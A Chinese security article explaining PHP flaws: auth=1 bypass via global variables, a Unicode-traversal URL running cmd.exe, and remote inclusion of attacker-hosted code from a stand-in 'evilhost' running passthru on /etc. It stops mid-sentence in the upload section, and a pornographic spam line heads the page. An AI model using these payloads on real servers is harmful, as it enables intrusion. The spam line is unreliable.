九九九九九少妇爽黄大片,中文字幕在线中文无码首页

您當(dāng)前所在位置：首頁(yè) → 網(wǎng)絡(luò)編程 → PHP編程 → PHP程序的常見漏洞攻擊分析

PHP程序的常見漏洞攻擊分析 時(shí)間：2015-06-28 00:00:00 來(lái)源：IT貓撲網(wǎng) 作者：網(wǎng)管聯(lián)盟 我要評(píng)論(0)

綜述：PHP程序也不是固若金湯，隨著PHP的廣泛運(yùn)用，一些黑客們也在無(wú)時(shí)不想找PHP的麻煩，通過PHP程序漏洞進(jìn)行攻擊就是其中一種。在節(jié)，我們將從全局變量，遠(yuǎn)程文件，文件上載，庫(kù)文件，Session文件，數(shù)據(jù)類型和容易出錯(cuò)的函數(shù)這幾個(gè)方面分析了PHP的安全性。

如何通過全局變量進(jìn)行攻擊？

PHP中的變量不需要事先聲明，它們會(huì)在第一次使用時(shí)自動(dòng)創(chuàng)建，它們的類型根據(jù)上下文環(huán)境自動(dòng)確定。從程序員的角度來(lái)看，這無(wú)疑是一種極其方便的處理方法。一旦一個(gè)變量被創(chuàng)建了，就可以在程序中的任何地方使用。這個(gè)特點(diǎn)導(dǎo)致的結(jié)果就是程序員很少初始化變量。

很顯然，基于PHP的應(yīng)用程序的主函數(shù)一般都是接受用戶的輸入（主要是表單變量，上載文件和Cookie等），然后對(duì)輸入數(shù)據(jù)進(jìn)行處理，然后把結(jié)果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易，實(shí)際上PHP是把這些輸入數(shù)據(jù)看作全局變量來(lái)處理的。

例如：

程序代碼

＜FORM METHOD="GET" ACTION="test.php"＞
＜INPUT TYPE="TEXT" NAME="hello"＞
＜INPUT TYPE="SUBMIT"＞
＜/FORM＞

這會(huì)顯示一個(gè)文本框和提交按鈕。當(dāng)用戶點(diǎn)擊提交按鈕時(shí)，"test.php"會(huì)處理用戶的輸入，當(dāng)"test.php"運(yùn)行時(shí)，"$hello"會(huì)包含用戶在文本框輸入的數(shù)據(jù)。從這里我們應(yīng)該看出，攻擊者可以按照自己的意愿創(chuàng)建任意的全局變量。如果攻擊者不是通過表單輸入來(lái)調(diào)用"test.php"，而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no，那么，不止是"$hello"被創(chuàng)建，"$setup"也被創(chuàng)建了。

下面的用戶認(rèn)證代碼暴露了PHP的全局變量所導(dǎo)致的安全問題：

程序代碼

＜?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?＞

上面的代碼首先檢查用戶的密碼是否為"hello"，如果匹配的話，設(shè)置"$auth"為"1"，即通過認(rèn)證。之后如果"$suth"為"1"的話，就會(huì)顯示一些重要信息。

這段代碼假定"$auth"在沒有設(shè)置值的時(shí)候是空的，但是攻擊者可以創(chuàng)建任何全局變量并賦值，通過類似"http://server/test.php?auth=1"的方法，我們完全可以欺騙這段代碼，使它相信我們是已經(jīng)認(rèn)證過的。

因此，為了提高PHP程序的安全性，我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話，這可是一項(xiàng)非常艱巨的任務(wù)。

一種常用的保護(hù)方式就是檢查數(shù)組HTTP_GET[]或POST_VARS[]中的變量，這依賴于我們的提交方式（GET或POST）。當(dāng)PHP配置為打開"track_vars"選項(xiàng)的話（這是缺省值），用戶提交的變量就可以在全局變量和上面提到的數(shù)組中獲得。

但是值得說明的是，PHP有四個(gè)不同的數(shù)組變量用來(lái)處理用戶的輸入。HTTP_GET_VARS數(shù)組用來(lái)處理GET方式提交的變量，HTTP_POST_VARS數(shù)組用于處理POST方式提交的變量；HTTP_COOKIE_VARS數(shù)組用于處理作為cookie頭提交的變量，而對(duì)于HTTP_POST_FILES數(shù)組（比較新的PHP才提供），則完全是用戶用來(lái)提交變量的一種可選方式。用戶的一個(gè)請(qǐng)求可以很容易的把變量存在這四個(gè)數(shù)組中，因此一個(gè)安全的PHP程序應(yīng)該檢查這四個(gè)數(shù)組。如何通過遠(yuǎn)程文件進(jìn)行攻擊？

PHP是一種具有豐富特性的語(yǔ)言，提供了大量的函數(shù)，使編程者很容易實(shí)現(xiàn)特定功能。但是從安全的角度來(lái)看，功能越多，要保證它的安全性就越難，遠(yuǎn)程文件就佐證這個(gè)問題的一個(gè)很好例子：

程序代碼

＜?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?＞

上面的腳本試圖打開文件"$filename"，如果失敗就顯示錯(cuò)誤信息。很明顯，如果我們能夠指定"$filename"的話，就能利用這個(gè)腳本瀏覽系統(tǒng)中的任何文件。但是，這個(gè)腳本還存在一個(gè)不太明顯的特性，那就是它可以從任何其它WEB或FTP站點(diǎn)讀取文件。實(shí)際上，PHP的大多數(shù)文件處理函數(shù)對(duì)遠(yuǎn)程文件的處理是透明的。

例如：

如果指定"$filename"為 "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

則上面的代碼實(shí)際上是利用主機(jī)target上的unicode漏洞，執(zhí)行了dir命令。這使得支持遠(yuǎn)程文件的include()，require()，include_once()和require_once()在上下文環(huán)境中變得更有趣。這些函數(shù)主要功能是包含指定文件的內(nèi)容，并且把它們按照PHP代碼解釋，主要是用在庫(kù)文件上。

例如：

程序代碼

＜?php
include($libdir . "/languages.php");
?＞

上例中"$libdir"一般是一個(gè)在執(zhí)行代碼前已經(jīng)設(shè)置好的路徑，如果攻擊者能夠使得"$libdir"沒有被設(shè)置的話，那么他就可以改變這個(gè)路徑。但是攻擊者并不能做任何事情，因?yàn)樗麄冎荒茉谒麄冎付ǖ穆窂街性L問文件languages.php（perl中的"Poisonnull byte"攻擊對(duì)PHP沒有作用）。但是由于有了對(duì)遠(yuǎn)程文件的支持，攻擊者就可以做任何事情。例如，攻擊者可以在某臺(tái)服務(wù)器上放一個(gè)文件languages.php，包含如下內(nèi)容：

程序代碼

＜?php
passthru("/bin/ls /etc");
?＞

然后把"$libdir"設(shè)置為"http://＜evilhost＞/"，這樣我們就可以在目標(biāo)主機(jī)上執(zhí)行上面的攻擊代碼，"/etc"目錄的內(nèi)容將作為結(jié)果返回到客戶的瀏覽器中。

需要注意的是，攻擊代碼是不會(huì)在自身所在的服務(wù)器（也就是evilhost）上執(zhí)行執(zhí)行自身PHP程序的，否則，攻擊代碼會(huì)攻擊自身所在的服務(wù)器，而不是在目標(biāo)服務(wù)器執(zhí)行。

如何通過文件上載進(jìn)行攻擊？

PHP自動(dòng)支持基于RFC 1867的文件上載，我們看下面的例子：

程序代碼

＜FORM METHOD="POST" ENCTYPE="multipart/form-data"＞
＜INPUT TYPE="FILE" NAME="hello"＞
＜INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"＞
＜INPUT TYPE="SUBMIT"＞
＜/FORM＞

上面的代碼讓用戶從本地機(jī)器選擇一個(gè)文件，當(dāng)點(diǎn)擊提交后，文件就會(huì)被上載到服務(wù)器。這顯然是很有用的功能，但是PHP的響應(yīng)方式將使這項(xiàng)功能變得不安全。當(dāng)PHP第一次接到這種請(qǐng)求，甚至在它開始解析被調(diào)用的PHP代碼之前，它會(huì)先接受遠(yuǎn)程用戶的文件，檢查文件的長(zhǎng)度是否超過"$MAX_FILE_SIZE variable"定義的值，如果通過這些測(cè)試的話，文件就會(huì)被存在本地的一個(gè)臨時(shí)

關(guān)鍵詞標(biāo)簽：攻擊,分析,漏洞,常見,

相關(guān)閱讀

文章評(píng)論

查看所有0條評(píng)論>>